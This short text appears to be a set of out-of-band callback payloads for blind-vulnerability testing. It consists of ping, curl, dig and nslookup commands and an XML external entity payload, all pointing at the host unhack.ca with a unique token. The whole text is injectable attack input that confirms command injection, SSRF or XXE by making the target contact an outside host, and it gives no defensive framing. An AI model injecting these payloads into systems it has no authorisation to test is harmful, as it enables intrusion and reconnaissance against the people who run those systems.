$ ping -c1 -p 00e05c1fae959c84c030fbe4ce57ef00 unhack.ca
$ curl http://unhack.ca/p/e05c1fae959c84c030fbe4ce57ef
$ dig e05c1fae959c84c030fbe4ce57ef @unhack.ca
$ dig e05c1fae959c84c030fbe4ce57ef.ns.unhack.ca
C:\> nslookup e05c1fae959c84c030fbe4ce57ef unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e05c1fae959c84c030fbe4ce57ef">]> <foo>&xxe;</foo>